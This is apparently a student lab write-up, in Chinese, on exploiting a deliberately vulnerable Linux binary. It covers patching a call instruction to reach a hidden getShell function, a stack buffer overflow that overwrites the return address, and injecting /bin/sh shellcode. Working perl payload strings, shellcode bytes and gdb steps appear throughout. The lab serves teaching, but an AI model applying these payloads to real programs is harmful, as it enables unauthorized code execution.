Exp1 PC平台逆向破解(5)M
一、实践目标
本次实践的对象是一个名为pwn20191219的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
二、基础知识
1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:NOP是英语“No Operation”的缩写,NOP无操作数,所以称为“空操作”,机器码:90
JNE:条件转移指令。如果不相等则跳转,机器码:75
JE:条件转移指令。如果相等则跳转,机器码:74
JMP:无条件转移指令。段内直接短转Jmp short,机器码:EB ;段内直接近转移Jmp near,机器码:E9 ;段内间接转移Jmp word, 机器码:FF ;段间直接(远)转移Jmp far,机器码:EA。
CMP:比较指令。cmp的功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。影响的标志位CF,ZF,OF,AF,PF。
2.反汇编与十六进制编程器
objdump:用来查看目标文件或者可执行的目标文件的构成的gcc工具。
基本的反汇编命令是:objdump -d 目标文件 | more
Linux下的图形化十六进制编程器是wxHexEditor,可以进行十六进制的查看和相应修改
三、实验内容
1.直接修改程序机器指令,改变程序执行流程
1.首先对可执行文件pwn20191219进行反汇编
输入:objdump -d pwn20191219 | more
2.找到main函数,然后根据内存地址80484b5,找到汇编指令"call 8048491 "
-
这是说这条指令将调用位于地址8048491处的foo函数;
-
其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
-
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但经过e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
-
main函数调用foo,对应机器指令为“ e8 d7ffffff”,
-
那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
-
用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
3.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
修改如下图所示:
修改完后再反汇编一下,可以看到call后面已经变成了getShell函数了,说明修改成功。
4.最后运行下改后的代码,会得到shell提示符$,成功!!!
2.通过构造输入参数,造成BOF攻击,改变程序执行流
1.首先还是进行反汇编,了解程序的基本功能
命令行输入objdump -d pwn20191219 | more
== 注意这个函数getShell,我们的目标是触发这个函数 ==
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
这里读入字符串,但系统只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:(80484ba)
2.确认输入字符串哪几个字符会覆盖到返回地址
使用gdb调试工具,在命令行输入:gdb pwn20191219
,然后输入r单步运行。
当输入的为1111111122222222333333334444444455555555可以看到eip的值0x35353535也就是5555的ASCII码:
如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20191219,pwn20191219就会运行getShell。
3.确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。
通过观察eip的值可以发现正确的输入为11111111222222223333333344444444\x7d\x84\x04\x08
4.构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
在命令行输入:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
可以使用16进制查看指令xxd查看input文件的内容是否如预期。
5.最后将input的输入,通过管道符“|”,作为pwn20191219的输入。
两种输入方法:
1.(cat input; cat) | ./pwn20191219
2.(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20191219
3. 注入Shellcode并执行
1.准备一段Shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
最基本的shellcode的编写可参考shellcode入门,写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.准备工作
先通过execstack - s指令来设置堆栈可执行
再用 execstack -q 指令查询文件的堆栈是否可执行
随后关闭地址随机化
3.构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
命令行输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
接下来我们来确定返回地址是什么。
打开一个终端注入这段攻击buf:
再开另外一个终端,用gdb来调试pwn20191219这个进程。
首先找到我的进程号为39591,随后启动gdb进行调试。
先attach上该进程,随后设置断点。
↑看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是:0xffffd160
接着我用的shellcode的结构为:anything+retaddr+nops+shellcode
故我的输入为:perl -e 'print "A" x 32;print "\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
成功!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?